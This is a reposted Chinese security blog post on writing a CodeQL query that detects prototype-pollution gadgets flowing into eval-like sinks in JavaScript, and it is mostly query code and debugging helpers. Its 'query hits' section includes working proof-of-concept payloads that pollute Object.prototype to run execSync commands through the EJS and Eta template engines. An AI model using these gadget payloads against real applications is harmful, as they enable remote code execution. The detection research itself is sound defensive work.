使用 CodeQL 查找原型污染小工具

admin 2024年4月23日06:49:37评论5 views字数 13647阅读45分29秒阅读模式

####################

免责声明:工具本身并无好坏,希望大家以遵守《网络安全法》相关法律为前提来使用该工具,支持研究学习,切勿用于非法犯罪活动,对于恶意使用该工具造成的损失,和本人及开发者无关。

####################

这篇文章的目的不是解释原型污染漏洞是什么,但总的来说,能够编辑对象的原型或Object原型(通过它们的属性)可以让攻击者污染它并可能恶意地改变受影响代码的目标。

小工具

我们可以将 [在此处插入漏洞] 小工具理解为帮助漏洞发生的代码片段或行为。在这种情况下,原型污染小工具是未定义的对象属性读取,它流向 JS 执行函数(例如evalFunction)。

  • 不需要定义小工具,因为对象的属性读取使用对象的原型属性读取作为后备。

CodeQL查询开发

您可以在#final-query找到最终查询。

第一种方法类似于以下代码段:

/**
* @kind path-problem
*/
import javascriptimport semmle.javascript.security.dataflow.CodeInjectionCustomizations::CodeInjectionimport DataFlow::PathGraphclass BadIfPollutedConfig extends TaintTracking::Configuration {
 BadIfPollutedConfig() { this = "BadIfPollutedConfig" }

 // Any {} that does not set a custom __proto__
 override predicate isSource(DataFlow::Node source) {
   exists(DataFlow::ObjectLiteralNode object |
     not object.toString().matches("%\_\_proto\_\_%") and
     source = object    )
 }

 // An expression which may be evaluated as JavaScript
 override predicate isSink(DataFlow::Node sink) { sink instanceof EvalJavaScriptSink }

 // Make a valid step: variable = {} -> Object.create(variable)
 override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
   exists(DataFlow::SourceNode c, DataFlow::CallNode call |
     c.toString() = "Object.create" and
     call = c.getACall() and
     nodeFrom = call.getArgument(0) and
     nodeTo = call    )
 }}from BadIfPollutedConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)select sink.getNode(), source, sink, "$@ flows to $@", source.getNode(), "Empty dict",
 sink.getNode(), "this eval-alike call."

复制

然而,几乎所有事情都有可能改进。

来源

override predicate isSource(DataFlow::Node source) {
   exists(DataFlow::ObjectLiteralNode object |
       not object.toString().matches("%\_\_proto\_\_%") and
       source = object    )}

复制

你们中的一些人可能希望将我从用于toString()检查属性访问的宇宙中抹去,但这是我在深入研究 CodeQL 的 JavaScript 精华之前唯一想到的事情。

使用对象的属性:

  • a = {}:ObjectLiteralNode声明。

  • a.foo = "bar"PropWrite

    • getBase()是第一点的使用(然后getBase().getALocalSource()是我们将用来关联两个节点的)。

    • getPropertyName()返回foo

    • getRhs()返回"bar"

  • eval(a.foo):eval的第一个参数是PropRead具有相同getBase()getPropertyName()谓词的 a 。

class BadIfPollutedSource extends DataFlow::ObjectLiteralNode {
 BadIfPollutedSource() {
   not exists(DataFlow::PropWrite propWrite |
     // ObjectLiteralNode.__proto__ and ObjectLiteralNode.constructor
     exists( |
       propWrite.getPropertyName() = ["__proto__", "constructor"] and
       propWrite.getBase().getALocalSource() = this
     )
     or      // ObjectLiteralNode.constructor.prototype
     exists(DataFlow::PropRead constRead |
       constRead.getPropertyName() = "constructor" and
       constRead.getBase().getALocalSource() = this and
       propWrite.getPropertyName() = "prototype" and
       propWrite.getBase().getALocalSource() = constRead      ) and
     propWrite.getRhs().asExpr() instanceof NullLiteral
   )
 }}

复制

override predicate isSink(DataFlow::Node sink) {
   sink instanceof EvalJavaScriptSink }

复制

进化只是专注于获得正确的结果,就像taintedtainted + foo当它是一个流程的最后一步。

class CustomEvalJavaScriptSink extends DataFlow::ValueNode {
 DataFlow::ValueNode t;
 DataFlow::InvokeNode c;

 CustomEvalJavaScriptSink() {
   t instanceof EvalJavaScriptSink and
   c.getAnArgument() = t and
   (
     if exists(t.asExpr().(AddExpr))
     then this.asExpr() = t.asExpr().(AddExpr).getAnOperand()
     else this = t    )
 }

 DataFlow::InvokeNode getCall() { result = c }}

复制

此外,包装EvalJavaScriptSink在一个变量中让我们获得参数是该变量的调用,以便getCall()在查询的 select 子句中使用谓词。

额外的污染步骤

override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
   exists(DataFlow::SourceNode c, DataFlow::CallNode call |
       c.toString() = "Object.create" and
       call = c.getACall() and
       nodeFrom = call.getArgument(0) and
       nodeTo = call    )}

复制

这个污点步骤让 CodeQL 知道可能存在流向ObjectLiteralNode第一个参数的流Object.create,其结果也是一个有效的小工具。

我们将使用globalVarRef它的getAMemberCall谓词来正确获取Object.create调用(而不是使用SourceNode's toString)。

override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
   exists(DataFlow::InvokeNode objectCreate |
       objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and
       nodeFrom = objectCreate.getArgument(0) and
       nodeTo = objectCreate    )}

复制

override predicate isSanitizer(DataFlow::Node sanitizer) {
   exists(LogOrExpr orExpr, Expr leftSource |
       leftSource = orExpr.getLeftOperand().flow().getALocalSource().asExpr() and
       not leftSource = orExpr.getLeftOperand() and
       not leftSource instanceof NullLiteral and
       not orExpr.getLeftOperand().mayHaveBooleanValue(false) and
       sanitizer.asExpr() = orExpr.getRightOperand()
   )}

复制

当 a LogOrExpr( foo || bar)ObjectLiteralNode在表达式的右侧持有 an并且在第一个操作数中持有一个有效变量时,我们希望停止跟踪流。

调试

让我们通过以下方式使查询开发更轻松、更有趣:

  • 使用Backward DataFlow: 设置isSource()any(),因此我们将使每个节点都流向我们的特定接收器。

  • 使用Forward DataFlow: 设置isSink()any(),因此我们将从我们的特定源获得流到任何节点。

  • 设置自定义节点文件以限制结果位置。

  • 使用自定义PathNode实现来获取流路径的每个步骤中使用的 QL 类。

请参阅#debugging-query。

查询命中

为了测试查询,我针对 NodeJS 的模板引擎中列出的所有源运行它。

LGTM 结果

一些在本地测试的片段:

  • 过时的 EJS(虽然是 NPM 提供的版本)

// edited from https://twitter.com/sonarsource/status/1471148042577350659const express = require('express');const app = express();app.set('view engine', 'ejs');app.set('views', __dirname + '/views');cmd = "sleep 10";Object.prototype.outputFunctionName = `a;process.mainModule.require('child_process').execSync('${cmd}');//`;Object.prototype.client = "notEmpty"; Object.prototype.escapeFunction = '`${process.mainModule.require('child_process').execSync('' + cmd + '')}`';Object.prototype.client = "notEmpty"; Object.prototype.escape = '`${process.mainModule.require('child_process').execSync('' + cmd + '')}`';Object.prototype.localsName = `a=process.mainModule.require('child_process').execSync('${cmd}')`;Object.prototype.destructuredLocals = ["/*", `*/a=process.mainModule.require('child_process').execSync('${cmd}');//`];app.get('/ejs', (req, res) => {
   res.render('template', {foo: "bar"})})app.listen(1337);

复制

  • 预计到达时间

// edited from https://eta.js.org/docs/examples/expressvar express = require("express")var app = express()var eta = require("eta")app.engine("eta", eta.renderFile)app.set("view engine", "eta")app.set('views', __dirname + '/views');cmd = "sleep 10";Object.prototype.useWith = "notEmpty"; Object.prototype.varName = `a=process.mainModule.require('child_process').execSync('${cmd}')`;app.get("/eta", function (req, res) {
   res.render("template", {foo: "bar"})})app.listen(1337)

复制

最终查询

/**
* @kind path-problem
*/
import javascriptimport semmle.javascript.security.dataflow.CodeInjectionCustomizations::CodeInjectionimport DataFlow::PathGraph/**
* A custom `EvalJavaScriptSink` wrapper.
*
* * `t` holds `EvalJavaScriptSink`.
* * `c` holds the call holding `t`.
*
* There's an additional taint step specified in order to catch
* `tainted` in sinks like `tainted + foo`; since the sink is
* the entire argument, this way the results are more accurate.
*/
class CustomEvalJavaScriptSink extends DataFlow::ValueNode {
 DataFlow::ValueNode t;
 DataFlow::InvokeNode c;

 CustomEvalJavaScriptSink() {
   t instanceof EvalJavaScriptSink and
   c.getAnArgument() = t and
   (
     if exists(t.asExpr().(AddExpr))
     then this.asExpr() = t.asExpr().(AddExpr).getAnOperand()
     else this = t    )
 }

 DataFlow::InvokeNode getCall() { result = c }}/**
* An `ObjectLiteralNode` not overriding its `__proto__`, `constructor` and
* `constructor.prototype` properties.
*
* It is not set as sanitizer since flow between two same source-sink AST nodes
* may differ (i.e., one path in source-sink flow may not pass through this
* property writes)
*/
class BadIfPollutedSource extends DataFlow::ObjectLiteralNode {
 BadIfPollutedSource() {
   not exists(DataFlow::PropWrite propWrite |
     // ObjectLiteralNode.__proto__ and ObjectLiteralNode.constructor
     exists( |
       propWrite.getPropertyName() = ["__proto__", "constructor"] and
       propWrite.getBase().getALocalSource() = this
     )
     or      // ObjectLiteralNode.constructor.prototype
     exists(DataFlow::PropRead constRead |
       constRead.getPropertyName() = "constructor" and
       constRead.getBase().getALocalSource() = this and
       propWrite.getPropertyName() = "prototype" and
       propWrite.getBase().getALocalSource() = constRead      ) and
     propWrite.getRhs().asExpr() instanceof NullLiteral
   )
 }}class BadIfPollutedConfig extends TaintTracking::Configuration {
 BadIfPollutedConfig() { this = "BadIfPollutedConfig" }

 /**
  * An `ObjectLiteralNode` that does not set a custom prototype
  * on its declaration or flow.
  *
  * See `BadIfPollutedSource`.
  */

 override predicate isSource(DataFlow::Node source) { source instanceof BadIfPollutedSource }

 /**
  * An expression which may be evaluated as JavaScript.
  *
  * See `CustomEvalJavaScriptSink`.
  */

 override predicate isSink(DataFlow::Node sink) { sink instanceof CustomEvalJavaScriptSink }

 /**
  * Make a valid taint step: `a = {} -> Object.create(a)`.
  */

 override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
   exists(DataFlow::InvokeNode objectCreate |
     objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and
     nodeFrom = objectCreate.getArgument(0) and
     nodeTo = objectCreate    )
 }

 /**
  * `foo || BadIfPollutedSource` -> `foo` holds a non (not defined|null|false) value
  *  and so it will be assigned instead of `BadIfPollutedSource`.
  *
  * FP issue: `foo` may be declared out of taint tracking's scope.
  *
  * `leftSource = orExpr.getLeftOperand()`: when a node's local source is itself
  * means the node might not be defined in the scope.
  */

 override predicate isSanitizer(DataFlow::Node sanitizer) {
   exists(LogOrExpr orExpr, Expr leftSource |
     leftSource = orExpr.getLeftOperand().flow().getALocalSource().asExpr() and
     not leftSource = orExpr.getLeftOperand() and
     not leftSource instanceof NullLiteral and
     not orExpr.getLeftOperand().mayHaveBooleanValue(false) and
     sanitizer.asExpr() = orExpr.getRightOperand()
   )
 }}from BadIfPollutedConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)select sink.getNode(), source, sink, "$@ flows to $@ as $@", source.getNode(), "This object",
 sink.getNode().(CustomEvalJavaScriptSink).getCall(), "this eval-alike call", sink.getNode(),
 sink.toString()

复制

调试查询

semmle.javascript.custom.Debug

private import javascript

module Debug {
 /**
  * If `true`, show the QL class for each flow step.
  */

 boolean getDebug() { result = false }

 /**
  * If `true`, apply Backward Dataflow.
  */

 boolean getBackward() { result = false }

 /**
  * If `true`, apply Forward Dataflow.
  */

 boolean getForward() { result = false }

 /**
  * Returns a `File` with a specific basename.
  */

 File getFile() {
   result.getBaseName().matches("%%") and not result.getBaseName().matches("test.js")
 }}class CustomPathNode extends DataFlow::PathNode {
 CustomPathNode() { this = this }

 override string toString() {
   if Debug::getDebug() = true
   then result = this.getNode().toString() + ", " + this.getNode().getAQlClass()
   else result = this.getNode().toString()
 }}

复制

主要查询:

/**
* @kind path-problem
*/
import javascriptimport semmle.javascript.security.dataflow.CodeInjectionCustomizations::CodeInjectionimport DataFlow::PathGraphimport semmle.javascript.custom.Debug/**
* A custom `EvalJavaScriptSink` wrapper.
*
* * `t` holds `EvalJavaScriptSink`.
* * `c` holds the call holding `t`.
*
* There's an additional taint step specified in order to catch
* `tainted` in sinks like `tainted + foo`; since the sink is
* the entire argument, this way the results are more accurate.
*/
class CustomEvalJavaScriptSink extends DataFlow::ValueNode {
 DataFlow::ValueNode t;
 DataFlow::InvokeNode c;

 CustomEvalJavaScriptSink() {
   t instanceof EvalJavaScriptSink and
   c.getAnArgument() = t and
   (
     if exists(t.asExpr().(AddExpr))
     then this.asExpr() = t.asExpr().(AddExpr).getAnOperand()
     else this = t    )
 }

 DataFlow::InvokeNode getCall() { result = c }}/**
* An `ObjectLiteralNode` not overriding its `__proto__`, `constructor` and
* `constructor.prototype` properties.
*
* It is not set as sanitizer since flow between two same source-sink AST nodes
* may differ (i.e., one path in source-sink flow may not pass through this
* property writes)
*/
class BadIfPollutedSource extends DataFlow::ObjectLiteralNode {
 BadIfPollutedSource() {
   not exists(DataFlow::PropWrite propWrite |
     // ObjectLiteralNode.__proto__ and ObjectLiteralNode.constructor
     exists( |
       propWrite.getPropertyName() = ["__proto__", "constructor"] and
       propWrite.getBase().getALocalSource() = this
     )
     or      // ObjectLiteralNode.constructor.prototype
     exists(DataFlow::PropRead constRead |
       constRead.getPropertyName() = "constructor" and
       constRead.getBase().getALocalSource() = this and
       propWrite.getPropertyName() = "prototype" and
       propWrite.getBase().getALocalSource() = constRead      ) and
     propWrite.getRhs().asExpr() instanceof NullLiteral
   )
 }}class BadIfPollutedConfig extends TaintTracking::Configuration {
 BadIfPollutedConfig() { this = "BadIfPollutedConfig" }

 /**
  * An `ObjectLiteralNode` that does not set a custom prototype
  * on its declaration or flow.
  *
  * See `BadIfPollutedSource`.
  */

 override predicate isSource(DataFlow::Node source) {
   (if Debug::getBackward() = true then any() else source instanceof BadIfPollutedSource) and
   source.getFile() = Debug::getFile()
 }

 /**
  * An expression which may be evaluated as JavaScript.
  *
  * See `CustomEvalJavaScriptSink`.
  */

 override predicate isSink(DataFlow::Node sink) {
   (if Debug::getForward() = true then any() else sink instanceof CustomEvalJavaScriptSink) and
   sink.getFile() = Debug::getFile()
 }

 /**
  * Make a valid taint step: `a = {} -> Object.create(a)`.
  */

 override predicate isAdditionalTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
   exists(DataFlow::InvokeNode objectCreate |
     objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and
     nodeFrom = objectCreate.getArgument(0) and
     nodeTo = objectCreate    )
 }

 /**
  * `foo || BadIfPollutedSource` -> `foo` holds a non (not defined|null|false) value
  *  and so it will be assigned instead of `BadIfPollutedSource`.
  *
  * FP issue: `foo` may be declared out of taint tracking's scope.
  *
  * `leftSource = orExpr.getLeftOperand()`: when a node's local source is itself
  * means the node might not be defined in the scope.
  */

 override predicate isSanitizer(DataFlow::Node sanitizer) {
   exists(LogOrExpr orExpr, Expr leftSource |
     leftSource = orExpr.getLeftOperand().flow().getALocalSource().asExpr() and
     not leftSource = orExpr.getLeftOperand() and
     not leftSource instanceof NullLiteral and
     not orExpr.getLeftOperand().mayHaveBooleanValue(false) and
     sanitizer.asExpr() = orExpr.getRightOperand()
   )
 }}from BadIfPollutedConfig cfg, CustomPathNode source, CustomPathNode sink
where cfg.hasFlowPath(source, sink)select sink.getNode(), source, sink, "$@ flows to $@ as $@", source.getNode(), "This object",
 sink.getNode().(CustomEvalJavaScriptSink).getCall(), "this eval-alike call", sink.getNode(),
 sink.toString()

复制

原文始发于微信公众号(菜鸟小新):使用 CodeQL 查找原型污染小工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月23日06:49:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 CodeQL 查找原型污染小工具https://cn-sec.com/archives/2086506.html

发表评论

匿名网友 填写信息